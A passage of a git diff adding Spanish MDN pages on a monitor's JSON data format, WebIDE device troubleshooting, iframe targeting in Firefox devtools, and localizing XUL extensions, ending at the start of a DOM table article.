+<p>El paquete de datos más pequeño que puedes enviar es algo como:</p>
+
+<p><code>{ "myCurve": 42 }</code></p>
+
+<p>Esto añadirá un punto de datos para "<code>myCurve</code>" en un gráfico sin nombre. El tiempo faltante será por defecto cuando el monitor recibe el paquete .</p>
+
+<p>Para mayor precisión, es probablemente mejor especificar un <code>timestamp</code> para tus datos:</p>
+
+<p><code>{<br>
+   "current": 60,</code><br>
+ <code>  "voltage": 500,<br>
+   <code>"time": 1234567890</code><br>
+ }</code></p>
+
+<h4 id="Multiples_variables">Multiples variables</h4>
+
+<p>En una simple actualización, puedes enviar datos para multiples curvas:</p>
+
+<p><code>{<br>
+   "graph": "myGraph",<br>
+   "myCurve1": 50,<br>
+   "myCurve2": 300,<br>
+   "myCurve3": 9000,<br>
+   "time": 1234567890<br>
+ }</code></p>
+
+<p>O varios puntos de datos para una sola curva:</p>
+
+<p><code>{<br>
+   "graph": "myGraph",<br>
+   "curve": "myCurve",<br>
+   "values": [<br>
+     { "time": 1234567890, "value": 42 },<br>
+     { "time": 1234567981, "value": 51 }<br>
+   ]<br>
+ }</code></p>
+
+<h4 id="Múltiples_actualizaciones">Múltiples actualizaciones</h4>
+
+<p>Y también puedes enviar multiples actualizaciones de datos en forma de un Array:</p>
+
+<p><code>[<br>
+   { "graph": "Memory", "time": 1234567890, "System": 2600, "My App": 1000 },<br>
+   { "graph": "Power", "time": 1234567890, "current": 60, "voltage": 500 }<br>
+ ]</code></p>
+
+<h4 id="Eventos_puntuales">Eventos puntuales</h4>
+
+<p>Para marcar eventos especiales en un gráfico con una barra vertical, agrega una clave <code>event</code> a tu actualización:</p>
+
+<p><code>{<br>
+   "graph": "myGraph",<br>
+   "event": "myEvent",<br>
+   "time": 1234567980<br>
+ }</code></p>
diff --git a/files/es/tools/webide/troubleshooting/index.html b/files/es/tools/webide/troubleshooting/index.html
new file mode 100644
index 0000000000..73d94afd9a
--- /dev/null
+++ b/files/es/tools/webide/troubleshooting/index.html
@@ -0,0 +1,50 @@
+---
+title: Resolución de problemas con WebIDE
+slug: Tools/WebIDE/Troubleshooting
+translation_of: Archive/WebIDE/Troubleshooting
+---
+<h2 id="Conectando_un_dispositivo_Firefox_OS">Conectando un dispositivo Firefox OS</h2>
+<p>Si estas intentando conectar un dispositivo Firefox OS a WebIDE y no aparece, aquí hay una serie de cosas que puedes probar</p>
+<ul>
+ <li>Revisa la versión de Firefox OS: asegurate que tu dispositivo tiene una versión<strong> Firefox OS 1.2/Boot2Gecko 1.2 o superior</strong>. Para comprobar la versión, accede a los Ajustes de la aplicación en el dispositivo, después accede a<code> Información del dispositivo &gt; Software</code>. Si no posees una versión superior, encuentra tu dispositivo en la <a href="/en-US/Firefox_OS/Developer_phone_guide">guía del desarrollador del teléfono</a> y sigue las instrucciones para actualizar.</li>
+ <li>Activa la depuración remota: en los Ajustes de aplicación en el dispositivo, dirígete a <code>Información del dispositivo &gt; Más información &gt; Desarrollo</code>.
+  <ul>
+   <li>Firefox OS 1.3 o inferior: "Desarrollo remoto" es simplemente una casilla. Activa la casilla.</li>
+   <li>Firefox OS 1.4 o superior: "Desarrollo remoto" te pregunta si deseas activarlo solo para ADB or para ADB y DevTools. Selecciona "ADB y DevTools".</li>
+  </ul>
+ </li>
+ <li>Desactiva el bloqueo de pantalla en tu dispositivo: en los Ajustes de aplicación en el dispositivo, accede a <code>Bloqueo de pantalla</code> y desactiva la casilla <code>Bloqueo de pantalla</code>. Esto es una buena idea porque cuando se bloquea la pantalla, la conexión con el teléfono se pierde, impidiendo que se pueda usar para desarrollar.</li>
+ <li>Asegurate que no hayas conectado un teléfono Android al mismo tiempo que un teléfono Firefox OS al ordenador.</li>
+ <li>Comprueba el cable USB que estas usando:
+  <ul>
+   <li>Prueba a desconectar y conectar el cable USB.</li>
+   <li>Prueba a conectar el cable USB en otro puerto del ordenador. Puede ser que tengas que alternar entre los puertos.</li>
+   <li>Prueba un cable USB distinto. Los cables que se incluyen con los teléfonos suelen ser de poca calidad y fallan con frecuencia.</li>
+   <li>Prueba un cable USB mas corto. Los cables USB largos no suelen trabajar tan bien como uno corto.</li>
+  </ul>
+ </li>
+ <li>Intenta descatira y reactivar el Desarrollo Remoto en los Ajustes de aplicación del dispositivo.</li>
+ <li>Si <a href="/en-US/docs/Tools/WebIDE#Custom_runtimes">tu desactivaste el complemento ADB Helper</a>, ¿has ejecutado correctamente el comando  <code>adb forward</code> ?</li>
+ <li>Si usas Linux, asegurate que has añadido un archivo de reglas a <code>udev</code> , como se detalla en el paso 3 de esta guia para <a class="external external-icon" href="http://developer.android.com/tools/device.html#setting-up"> configurar un dispositivo Android</a>. El atributo <code>idVendor</code> para usar el Geeksphone es "05c6", y <a class="external external-icon" href="http://developer.android.com/tools/device.html#VendorIds">esta página</a> lista otros valores para <code>idVendor</code> .</li>
+ <li>Si usas Windows:
+  <ul>
+   <li>necesitas instalar drivers, como se detalla en el paso 3 de esta guia para <a class="external external-icon" href="http://developer.android.com/tools/device.html#setting-up">configurar un dispositivo Android</a>. Puedes encontrar drivers para dispositivos Geeksphone en la  <a class="external external-icon" href="http://downloads.geeksphone.com/">pagina web Geeksphone</a> y drivers para dispositivos Google en <a href="http://developer.android.com/sdk/win-usb.htm">la página de Google</a>. Windows 8 por defecto no permite instalar drivers no firmados. Mira este tutorial en <a class="external-icon external" href="http://www.craftedge.com/tutorials/driver_install_windows8/driver_install_win8.html" title="http://www.craftedge.com/tutorials/driver_install_windows8/driver_install_win8.html">"Como instalar drivers no firmados en Windows 8"</a>.</li>
+   <li>si el WebIDE no puede localizar su dispositivo después de seguir todos los pasos, puede necesitar  <a class="external-icon external" href="http://blog.fh-kaernten.at/wehr/?p=1182">editar adb_usb.ini</a>.</li>
+  </ul>
+ </li>
+ <li>Si eres un usuario de EasyTether (OS X), necesitaras desinstalar o desactivar EasyTether: <code>sudo kextunload /System/Library/Extensions/EasyTetherUSBEthernet.kext</code></li>
+</ul>
+<h3 id="Desarrollo_limitado_(incluyendo_aplicaciones_certificadas_aplicaciones_incorporadas_aplicaciones_ya_instaladas_en_un_dispositivo)">Desarrollo limitado (incluyendo aplicaciones certificadas, aplicaciones incorporadas, aplicaciones ya instaladas en un dispositivo)</h3>
+<p>Si no puedes desarrollar aplicaciones certificadas, aplicaciones incorporadas, o aplicaciones instaladas en un dispositivo real, entonces puede que estés siendo restringido sobre la política de seguridad de privilegios de WebIDE's . Para mas información, acceda a la sección <a href="/en-US/docs/Tools/WebIDE#Unrestricted_app_debugging_%28including_certified_apps.2C_main_process.2C_etc.%29">Desarrolo no restringido de aplicaciones (incluyendo aplicaciones certificadas, procesos principales, etc.)</a>.</p>
+<h2 id="Conectando_a_otros_navegadores_(Chrome_Safari)">Conectando a otros navegadores (Chrome, Safari)</h2>
+<p>WebIDE hace el uso de <a href="/en-US/docs/Tools/Firefox_Tools_Adapter">Valence (Adaptador Formal de Herramientas de Firefox )</a> para comunicarse con otros navegadores, como Chrome and Safari. </p>
+<p>Si esta teniendo problemas al conectarse a estos otros navegadores, revisa los pasos de configuración y otras anotaciones para estos navegadores en la <a href="/en-US/docs/Tools/Firefox_Tools_Adapter">página Valence</a>.</p>
+<h2 id="Activando_el_log">Activando el log</h2>
+<p>También puedes activar el logging para recompilar información de diagnostico:</p>
+<ol start="1" style="list-style-type: decimal;">
+ <li>accede a <a class="external external-icon" href="http://kb.mozillazine.org/About:config">about:config</a>, y añade una nueva preferencia llamada <span class="message"><span class="content"><code><span class="email">extensions.adbhelper@mozilla.org.sdk</span>.console.logLevel</code>, con el valor de String <code>all, y establece </code></span></span>extensions.adbhelper@mozilla.org.debug<span class="message"><span class="content"><code> a true</code></span></span></li>
+ <li>En el <a class="external external-icon" href="https://support.mozilla.org/en-US/kb/disable-or-remove-add-ons">Add-ons Manager</a>, desactiva y reactiva el add-on ADB Helper.</li>
+ <li>Abre la <a href="https://developer.mozilla.org/en-US/docs/Tools/Browser_Console">Consola del navegador</a> y veras mensajes de consola con el prefijo <code>adb</code>. Si el mensaje no te dice nada, <a href="/en-US/docs/Tools/WebIDE/Troubleshooting#Get_help">busca ayuda</a>.</li>
+</ol>
+<h2 id="Obtén_ayuda">Obtén ayuda</h2>
+<p>Accede a <a class="external external-icon" href="https://wiki.mozilla.org/DevTools/GetInvolved#Communication">#devtools cuarto en IRC</a> y nosotros te ayudaremos.</p>
diff --git a/files/es/tools/working_with_iframes/index.html b/files/es/tools/working_with_iframes/index.html
new file mode 100644
index 0000000000..5d88245288
--- /dev/null
+++ b/files/es/tools/working_with_iframes/index.html
@@ -0,0 +1,28 @@
+---
+title: Working with iframes
+slug: Tools/Working_with_iframes
+tags:
+  - Debuggear devtools herramientas
+translation_of: Tools/Working_with_iframes
+---
+<div class="geckoVersionNote">
+<p>Esta funcionalidad es nueva en Firefox 34.</p>
+</div>
+
+<p>A partir de Firefox 34 en adelante, puedes apuntar las developer tools a un <a href="/en-US/docs/Web/HTML/Element/iframe"><code>iframe</code></a> específico dentro de un documento.</p>
+
+<p>{{EmbedYouTube("Me9hjqd74m8")}}</p>
+
+<p>Esta funcionalidad está desabilitada por defecto: para habilitarla, abre las <a href="/en-US/docs/Tools/Tools_Toolbox#Settings">developer tool settings</a> y selectiona "Select an iframe as the currently targeted document":</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/8551/frame-selection-setting.png" style="display: block; margin-left: auto; margin-right: auto;">Podrás ver un nuevo botón en la barra de herramientas:</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/8547/frame-selection-button.png" style="display: block; margin-left: auto; margin-right: auto;">Haz click en el y verás un popup con una lista de todos los iframes en el documento, además del documento principal.</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/8549/frame-selection-popup.png" style="display: block; margin-left: auto; margin-right: auto;"></p>
+
+<div class="note">
+<p>Por el momento necesitarás recargar la página o cerrar y reabrir las developer tools para poder ver el popup. Este problema esta siendo sequido como <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1062233">bug 1062233</a>.</p>
+</div>
+
+<p>Si selecionas una entrada en la lista, todas las herramientas en la barra de herramientas - el<span style="line-height: 1.5;"> </span><a href="/en-US/docs/Tools/Page_Inspector" style="line-height: 1.5;">Inspector</a><span style="line-height: 1.5;">, la </span><a href="/en-US/docs/Tools/Web_Console" style="line-height: 1.5;">Console</a><span style="line-height: 1.5;">, el </span><a href="/en-US/docs/Tools/Debugger" style="line-height: 1.5;">Debugger</a><span style="line-height: 1.5;"> demás - apuntaran ahora al iframe selecionado y se comportaran como si el resto de la pagina no existiese.</span></p>
diff --git a/files/es/traducir_las_descripciones_de_las_extensiones/index.html b/files/es/traducir_las_descripciones_de_las_extensiones/index.html
new file mode 100644
index 0000000000..f2a85cff51
--- /dev/null
+++ b/files/es/traducir_las_descripciones_de_las_extensiones/index.html
@@ -0,0 +1,90 @@
+---
+title: Traducir las descripciones de las extensiones
+slug: Traducir_las_descripciones_de_las_extensiones
+tags:
+  - Complementos
+  - Localización
+  - Todas_las_Categorías
+  - extensiones
+---
+<p> </p>
+<h3 id="Localizing_in_Gecko_1.9" name="Localizing_in_Gecko_1.9">Localizing in Gecko 1.9</h3>
+<p>{{ Gecko_minversion_header(1.9) }} {{ Fx_minversion_header(3) }}</p>
+<p>Gecko 1.9 incluye un nuevo y más robusto método para localizar descripciones añadidas y otros metadatos. Todas las diferentes descripciones aparecen ahora en el fichero <a href="es/Install_Manifests">install.rdf</a> utilizando las propedades <code>em:localized</code>. Cada una contiene al menos una propiedad <code>em:locale</code> que marca el localizador (locale) para el cual deberá utilizarse la citada información y, además, todas las diversas cadenas (strings) del localizador. El siguiente ejemplo demuestra lo dicho (la mayoría de las propiedades normales del manifiesto han sido suprimidas para abreviar):</p>
+<pre>&lt;?xml version="1.0"?&gt;
+
+&lt;RDF xmlns="http://www.w3.org/1999/02/22-rdf-syntax-ns#"
+     xmlns:em="http://www.mozilla.org/2004/em-rdf#"&gt;
+  &lt;Description about="urn:mozilla:install-manifest"&gt;
+    &lt;em:id&gt;TabSidebar@blueprintit.co.uk&lt;/em:id&gt;
+    &lt;em:localized&gt;
+      &lt;Description&gt;
+        &lt;em:locale&gt;de-DE&lt;/em:locale&gt;
+        &lt;em:name&gt;Tab Sidebar&lt;/em:name&gt;
+        &lt;em:description&gt;Zeigt in einer Sidebar Vorschaubilder der Inhalte aller offenen Tabs an.&lt;/em:description&gt;
+      &lt;/Description&gt;
+    &lt;/em:localized&gt;
+    &lt;em:localized&gt;
+      &lt;Description&gt;
+        &lt;em:locale&gt;es-ES&lt;/em:locale&gt;
+        &lt;em:name&gt;Tab Sidebar&lt;/em:name&gt;
+        &lt;em:description&gt;Muestra una vista previa de sus pestañas en su panel lateral.&lt;/em:description&gt;
+      &lt;/Description&gt;
+    &lt;/em:localized&gt;
+    &lt;em:localized&gt;
+      &lt;Description&gt;
+        &lt;em:locale&gt;nl-NL&lt;/em:locale&gt;
+        &lt;em:name&gt;Tab Sidebar&lt;/em:name&gt;
+        &lt;em:description&gt;Laat voorbeeldweergaven van uw tabbladen in de zijbalk zien.&lt;/em:description&gt;
+      &lt;/Description&gt;
+    &lt;/em:localized&gt;
+    &lt;em:name&gt;Tab Sidebar&lt;/em:name&gt;
+    &lt;em:description&gt;Displays previews of your tabs in your sidebar.&lt;/em:description&gt;
+  &lt;/Description&gt;
+&lt;/RDF&gt;
+</pre>
+<p>Todos los metadatos mencionados más abajo pueden localizarse mediante este procedimiento. La información de localización "por defecto" proporcionada por la propiedad <code>em:localized</code>, puede ser pasada por alto utilizando un conjunto de preferencias de localización, según se detalla a continuación.</p>
+<p>El proceso para seleccionar la propiedad <code>em:localized</code> a utilizar para una determinada localización (locale) es el siguiente:</p>
+<ol>
+ <li>Si existe una propiedad con un identificador <code>em:locale</code> que se corresponde exactamente con la localización (locale) entonces se usará esa propiedad.</li>
+ <li>Si se encuentran comparaciones inexactas, entonces se utilizará aquella que tenga el máximo de partes coincidentes, estando dichas partes separadas entre sí por un guión (es decir, "es" coincidiría con "es-ES" y viceversa).</li>
+ <li>Si existe más de un localizador (locale) con el mismo número de partes coincidentes, entonces se utilizará el más general (es decir, "en" será preferente en "en-GB" cuando se busque, antes que "en-US").</li>
+</ol>
+<p>En primer lugar se mostrará la localización actual "en-GB" y posteriormente se mostrará la segunda localización correspondiente a "en-US".</p>
+<p>Si no se ha establecido ninguna preferencia y no se encuentra una coindidencia <code>em:localized property</code> para la localización actual "en-GB" o "en-US" entonces se utilizarán las propiedades especificadas directamente en el manifiesto de instalación, como último recurso, tal y como se utilizaban en las versiones anteriores a la versión Gecko 1.9.</p>
+<h3 id="Localizar_antes_de_Gecko_1.9" name="Localizar_antes_de_Gecko_1.9">Localizar antes de Gecko 1.9</h3>
+<p>Antes de Gecko 1.9, los desarrolladores de extensiones o aplicaciones añadidas (add-ons) tenían que seguir un procedimiento especial para definir las descripciones adicionales locales para las aplicaciones añadidas orientadas a las aplicaciones basadas en el juego de herraminetas "toolkit" original (tales como Firefox o Thunderbird).</p>
+<ul>
+ <li>Si aún no dispone de ellas, cree <a href="es/Localizing_an_extension#Localizing_strings_in_JavaScript_code"> localized properties files</a>. Asegúrese de que utiliza la codificación UTF-8 para garantizar que los caracteres extranjeros se muestren correctamente.</li>
+ <li>Añada la siguiente línea a cada uno de sus ficheros de propiedades de localización (donde: <var>EXTENSION_ID</var> corresponda a su identificador de extensión (extension ID) (<code>&lt;em:id&gt;</code> de <a href="es/Install.rdf">install.rdf</a>) y <var>LOCALIZED_DESCRIPTION</var> es la descripción de su extensión, que usted desea que aparezca en el idioma determinado):
+  <pre>extensions.EXTENSION_ID.description=LOCALIZED_DESCRIPTION</pre>
+ </li>
+ <li>Si aún no dispone de uno, cree <a href="es/Building_an_Extension#Defaults_Files"> a default preferences file</a>.</li>
+ <li>Añádale la siguiente línea (donde: <var>EXTENSION_ID</var> coincida con su identificador de aplicación (application ID) de <a href="es/Install_Manifests">install.rdf</a> y <var>PATH_TO_LOCALIZATION_FILE</var> sea la ruta correcta del fichero de localización que usted añadió anteriormente):
+  <pre>pref("extensions.EXTENSION_ID.description", "PATH_TO_LOCALIZATION_FILE");</pre>
+ </li>
+</ul>
+<h4 id="Cadenas_Localizables" name="Cadenas_Localizables">Cadenas Localizables</h4>
+<p>Los siguientes "metadatos" de las extensiones o aplicaciones añadidas (add-ons) pueden ser localizados utilizando este proceso:</p>
+<ul>
+ <li>name (nombre)</li>
+ <li>description (descripción)</li>
+ <li>creator (creador)</li>
+ <li>homepageURL (URL de la página de inicio)</li>
+</ul>
+<h4 id="Listas_Localizables" name="Listas_Localizables">Listas Localizables</h4>
+<p>En los casos en que puedan existir múltiples valores, se añade un índice numérico al final del nombre de cada preferencia:</p>
+<pre>extensions.EXTENSION_ID.contributor.1=FIRST_LOCALIZED_CONTRIBUTOR_NAME
+extensions.EXTENSION_ID.contributor.2=SECOND_LOCALIZED_CONTRIBUTOR_NAME
+extensions.EXTENSION_ID.contributor.3=THRID_LOCALIZED_CONTRIBUTOR_NAME
+
+pref("extensions.EXTENSION_ID.contributor.1", "PATH_TO_LOCALIZATION_FILE");
+pref("extensions.EXTENSION_ID.contributor.2", "PATH_TO_LOCALIZATION_FILE");
+pref("extensions.EXTENSION_ID.contributor.3", "PATH_TO_LOCALIZATION_FILE");
+</pre>
+<p>Los siguientes "metadatos" de las extensiones o aplicaciones añadidas (add-ons) pueden localizarse utilizando este proceso:</p>
+<ul>
+ <li>developer (desarrollador)</li>
+ <li>translator (traductor)</li>
+ <li>contributor (contribuidor)</li>
+</ul>
diff --git a/files/es/traducir_una_extensión/index.html b/files/es/traducir_una_extensión/index.html
new file mode 100644
index 0000000000..7c5c33627a
--- /dev/null
+++ b/files/es/traducir_una_extensión/index.html
@@ -0,0 +1,161 @@
+---
+title: Traducir una extensión
+slug: Traducir_una_extensión
+tags:
+  - Complementos
+  - Localización
+  - Todas_las_Categorías
+  - extensiones
+---
+<p>{{PreviousNext("Añadir preferencias a una extensión", "Actualizar una extensión para que soporte múltiples aplicaciones de Mozilla")}}</p>
+
+<p>Este artículo está construido sobre los anteriores ejemplos de programación de extensiones añadiendo soporte para traducción a nuestra extensión. Realizando unos pocos y simples pasos se conseguirá hacer la extensión mucho más fácil de traducir en varios idiomas sin tener que editar los ficheros XUL o JavaScript.</p>
+
+<p>Si aún no has creado ninguna extensión o te gustaría refrescar la memoria, echa un vistazo a los anteriores artículos de la serie:</p>
+
+<ul>
+ <li><a href="/es/Crear_una_extensi%C3%B3n_en_la_barra_de_estado" title="es/Crear_una_extensión_en_la_barra_de_estado">Crear una extensión en la barra de estado</a></li>
+ <li><a href="/es/Crear_una_extensi%C3%B3n_din%C3%A1mica_en_la_barra_de_estado" title="es/Crear_una_extensión_dinámica_en_la_barra_de_estado">Crear una extensión dinámica en la barra de estado</a></li>
+ <li><a href="/es/A%C3%B1adir_preferencias_a_una_extensi%C3%B3n" title="es/Añadir_preferencias_a_una_extensión">Añadir preferencias a una extensión</a></li>
+</ul>
+
+<h2 id="Descargar_el_ejemplo" name="Descargar_el_ejemplo">Descargar el ejemplo</h2>
+
+<p>Puedes descargar el código de ejemplo de este artículo para poder compararlo o para usarlo como base para tu propia extensión.</p>
+
+<p>http://developer.mozilla.org/samples/extension-samples/localizedstockwatcher.zip</p>
+
+<h2 id="Traducir_cadenas_en_los_ficheros_XUL" name="Traducir_cadenas_en_los_ficheros_XUL">Traducir cadenas en los ficheros XUL</h2>
+
+<h3 id="Crear_los_ficheros_de_configuraci.C3.B3n_regional_necesarios" name="Crear_los_ficheros_de_configuraci.C3.B3n_regional_necesarios">Crear los ficheros de configuración regional necesarios</h3>
+
+<p>Cada fichero XUL que comprende la interfaz de usuario de tu extensión debería tener un fichero local en su directorio locale.</p>
+
+<p>Cada fichero locale mapea los nombres de las entidades referenciadas en los ficheros XUL a las mismas cadenas. El diálogo de preferencias, cuyo fichero XUL es <code>options.xul</code>, tiene un fichero <code>options.dtd</code> correspondiente con este aspecto:</p>
+
+<pre class="eval"> &lt;!ENTITY options_window_title "StockWatcher 2 Preferences"&gt;
+ &lt;!ENTITY options_symbol.label "Stock to watch: "&gt;
+</pre>
+
+<p>La entidad "options_window_title" está mapeada a la cadena "StockWatcher 2 Preferences", la cual es usada como título de la ventana de preferencias.</p>
+
+<p>El fichero <code>stockwatcher2.dtd</code> contiene el mapa para el fichero <code>stockwatcher2.xul</code>:</p>
+
+<pre class="eval"> &lt;!ENTITY panel_loading "Loading..."&gt;
+ &lt;!ENTITY menu_refresh_now.label "Refresh Now"&gt;
+ &lt;!ENTITY menu_apple.label "Apple (AAPL)"&gt;
+ &lt;!ENTITY menu_google.label "Google (GOOG)"&gt;
+ &lt;!ENTITY menu_microsoft.label "Microsoft (MSFT)"&gt;
+ &lt;!ENTITY menu_yahoo.label "Yahoo (YHOO)"&gt;
+</pre>
+
+<h3 id="Actualizar_los_ficheros_XUL" name="Actualizar_los_ficheros_XUL">Actualizar los ficheros XUL</h3>
+
+<p>Cada fichero XUL necesita referenciar su correspondiente fichero de configuración regional. Además necesitamos actualizar el código para utilizar entidades en lugar de cadenas, por lo que las sustituciones tomarán lugar basándose en la configuración regional actualmente activa.</p>
+
+<p>Para añadir una referencia al fichero de configuración regional correcto dado un fichero XUL necesitamos añadir una línea al fichero XUL. Para <code>options.xul</code> añadimos esta línea:</p>
+
+<pre class="eval"> &lt;!DOCTYPE window SYSTEM "<a class="external" rel="freelink">chrome://stockwatcher2/locale/options.dtd</a>"&gt;
+</pre>
+
+<p>Añadimos una línea similar al fichero <code>stockwatcher.xul</code>:</p>
+
+<pre class="eval"> &lt;!DOCTYPE overlay SYSTEM "<a class="external" rel="freelink">chrome://stockwatcher2/locale/stockwatcher2.dtd</a>"&gt;
+</pre>
+
+<p>En aplicaciones mayores podrías necesitar utilizar entidades de diversos ficheros de configuración regional en un único fichero XUL. <a href="/es/Utilizar_m%C3%BAltiples_DTDs" title="es/Utilizar_múltiples_DTDs">Utilizar múltiples DTDs</a> explica cómo hacer esto.</p>
+
+<p>Date cuenta de que las URLs de los ficheros DTD no incluyen realmente el nombre del idioma a utilizar. el registro chrome resuelve los URIs basándose en la configuración regional actual y los datos que proporcionas en tu <a href="#actualizar_el_manifiesto_chrome">manifiesto chrome</a>.</p>
+
+<p>Luego simplemente reemplazaremos cada cadena de texto en nuestros ficheros XUL con la correspondiente entidad. Por ejemplo, en <code>stockwatcher2.xul</code> cambiamos la línea:</p>
+
+<pre class="eval"> &lt;menuitem label="Refresh Now" oncommand="StockWatcher.refreshInformation()"/&gt;
+</pre>
+
+<p>por</p>
+
+<pre class="eval"> &lt;menuitem label="&amp;menu_refresh_now.label;" oncommand="StockWatcher.refreshInformation()"/&gt;
+</pre>
+
+<p>Haremos esto para cada cadena utilizada en cada fichero XUL.</p>
+
+<h2 id="Actualizar_el_manifiesto_chrome" name="Actualizar_el_manifiesto_chrome">Actualizar el manifiesto chrome</h2>
+
+<p>Para que Firefox conozca los ficheros de configuración regional necesitamos revisar nuestro fichero <code><a href="/es/Registro_chrome" title="es/Registro_chrome">|chrome.manifest</a></code>, añadiendo una línea por cada idioma.</p>
+
+<pre class="eval"> locale stockwatcher2 en-US chrome/locale/en-US/
+</pre>
+
+<p>Esto le dice a Firefox que el idioma en-US está ubicado en el directorio <code>chrome/locale/en-US</code>.</p>
+
+<h2 id="Traducir_cadenas_en_el_c.C3.B3digo_JavaScript" name="Traducir_cadenas_en_el_c.C3.B3digo_JavaScript">Traducir cadenas en el código JavaScript</h2>
+
+<p>Si tu código JavaScript contiene cadenas literales que necesitan ser traducidas, como hace nuestro ejemplo visualizador de stocks, también necesitaremos hacerlo traducible. Podemos hacer esto moviendo las cadenas a un conjunto. Los conjuntos de cadenas son creados mediante el establecimiento de un fichero de propiedades que mapea claves a valores de cadena. Para una explicación detallada de cómo funciona esto, lee <a href="/es/Tutorial_XUL/Ficheros_de_propiedades" title="es/Tutorial_XUL/Ficheros_de_propiedades">Tutorial XUL:Ficheros de propiedades</a>.</p>
+
+<h3 id="Crear_un_fichero_de_propiedades" name="Crear_un_fichero_de_propiedades">Crear un fichero de propiedades</h3>
+
+<p>Lo primero que hacemos es crear un fichero de propiedades para los literales usados por el código JavaScript en <code>stockwatcher2.js</code>:</p>
+
+<pre class="eval">changeString=Chg:
+openString=Open:
+lowString=Low:
+highString=High:
+volumeString=Vol:
+</pre>
+
+<p>El fichero <code>stockwatcher2.properties</code> mostrado anteriormente mapea cinco claves (<code>changeString</code>, <code>openString</code>, <code>lowString</code>, <code>highString</code>, y <code>volumeString</code>) a su correspondiente texto en inglés.</p>
+
+<h3 id="Crear_un_conjunto_de_cadenas" name="Crear_un_conjunto_de_cadenas">Crear un conjunto de cadenas</h3>
+
+<p>El siguiente paso es modificar el fichero <code>stockwatcher2.xul</code> para referenciar este fichero de propiedades. Haremos esto creando un conjunto de cadenas utilizando el siguiente código:</p>
+
+<pre class="eval"> &lt;stringbundleset id="stringbundleset"&gt;
+   &lt;stringbundle id="string-bundle" src="<a class="external" rel="freelink">chrome://stockwatcher2/locale/stockw...er2.properties</a>"/&gt;
+ &lt;/stringbundleset&gt;
+</pre>
+
+<p>Esto establece un nuevo conjunto de cadenas, referenciados por el ID "string-bundle", cuyas claves y valores han de ser cargados desde el fichero <code>stockwatcher2.properties</code> que ya habíamos creado.</p>
+
+<h3 id="Actualizando_el_c.C3.B3digo_JavaScript" name="Actualizando_el_c.C3.B3digo_JavaScript">Actualizando el código JavaScript</h3>
+
+<p>Ahora estamos listos para revisar el código JavaScript para cargar las cadenas desde el conjunto de cadenas en lugar de utilizar literales. Esto implica la reescritura de la función <code>refreshInformation()</code> para cargar las cadenas y su función interna <code>infoReceived()</code> para utilizar las cadenas cargadas y traducidas en lugar de literales.</p>
+
+<p>Añadimos a <code>refreshInformation()</code> el siguiente código:</p>
+
+<pre class="eval"> var stringsBundle = document.getElementById("string-bundle");
+ var changeString = stringsBundle.getString('changeString') + " ";
+ var openString = stringsBundle.getString('openString') + " ";
+ var lowString = stringsBundle.getString('lowString') + " ";
+ var highString = stringsBundle.getString('highString') + " ";
+ var volumeString = stringsBundle.getString('volumeString') + " ";
+</pre>
+
+<p>Este código obtiene una referencia al elemento conjunto de cadenas que hemos añadido a <code>stockwatcher2.xul</code> llamando a <code>document.getElementById()</code>, especificando el ID "string-bundle". Luego recupera todas las cadenas que necesitamos desde el conjunto, una a una, llamando al método del conjunto de cadenas <code><a class="external" href="http://www.xulplanet.com/references/elemref/ref_stringbundle.html#prop_getString">getString()</a></code>, pasando la clave apropiada para cada cadena.</p>
+
+<p>En este caso, también añadimos un espacio al final de cada cadena. Hacemos esto porque este programa funciona así en particular y no tienes porqué hacerlo siempre.</p>
+
+<p>Luego reemplazamos toda ocurrencia de las cadenas literales con las variables apropiadas:</p>
+
+<pre class="eval"> samplePanel.tooltipText = changeString + fieldArray[4] + " | " +
+     openString + fieldArray[5] + " | " +
+     lowString + fieldArray[6] + " | " +
+     highString + fieldArray[7] + " | " +
+     volumeString + fieldArray[8];
+</pre>
+
+<h2 id="Traducir_la_descripci.C3.B3n_en_install.rdf" name="Traducir_la_descripci.C3.B3n_en_install.rdf">Traducir la descripción en install.rdf</h2>
+
+<p>Mira <a href="/es/Traducir_descripciones_de_extensiones" title="es/Traducir_descripciones_de_extensiones">Traducir descripciones de extensiones</a>.</p>
+
+<h2 id="A.C3.B1adir_m.C3.A1s_traducciones" name="A.C3.B1adir_m.C3.A1s_traducciones">Añadir más traducciones</h2>
+
+<p>Para añadir otra traducción a un nuevo idioma, todo lo que necesitas hacer es añadir otra línea al manifiesto chrome referenciando la nueva configuración regional. Por ejemplo, para añadir una traducción al español deberías añadir:</p>
+
+<pre class="eval"> locale stockwatcher2 es-ES chrome/locale/es-ES/
+</pre>
+
+<p>Luego sólo hay que crear un subdirectorio <code>chrome/locale/es-ES</code> y añadir los ficheros DTD necesarios; en este caso <code>options.dtd</code> y <code>stockwatcher2.dtd</code>. Dichos ficheros deberían mapear las mismas etiquetas para la traducción al español de las cadenas utilizadas por la extensión.</p>
+
+<p>Del mismo modo, si tenemos algún fichero de propiedades que contenga cadenas traducidas para nuestro código JavaScript también necesitaremos crear versiones de configuración regional para aquellos ficheros de propiedades en el directorio <code>chrome/locale/es-ES</code>. Sólo las cadenas deberían ser traducidas; las claves deberían ser las mismas para cada traducción.</p>
+
+<p>{{PreviousNext("Añadir preferencias a una extensión", "Actualizar una extensión para que soporte múltiples aplicaciones de Mozilla")}}</p>
diff --git a/files/es/trazado_de_una_tabla_html_mediante_javascript_y_la_interface_dom/index.html b/files/es/trazado_de_una_tabla_html_mediante_javascript_y_la_interface_dom/index.html
new file mode 100644
index 0000000000..b8bc2e4cf9
--- /dev/null
+++ b/files/es/trazado_de_una_tabla_html_mediante_javascript_y_la_interface_dom/index.html
@@ -0,0 +1,337 @@
+---
+title: Trazado de una tabla HTML mediante JavaScript y la Interface DOM
+slug: Trazado_de_una_tabla_HTML_mediante_JavaScript_y_la_Interface_DOM
+translation_of: >-
+  Web/API/Document_Object_Model/Traversing_an_HTML_table_with_JavaScript_and_DOM_Interfaces
+---
+<h2 id="Introduction" name="Introduction">Introducción</h2>
+
+<p>Este artículo es un resumen de algunos métodos DOM nivel 1 poderosos y fundamentales así como una descripción de cómo utilizarlos utilizando Javascript.  Aprenderás a crear, accesar, controlar, y remover elementos HTML dinámicamente.  Los métodos DOM presentados aquí no son específicos de HTML; también aplican para XML. Las demostraciones aquí proporcionadas funcionarán en cualquier navegador moderno, incluyendo todas las versiones de Firefox e IE 5+.</p>
+
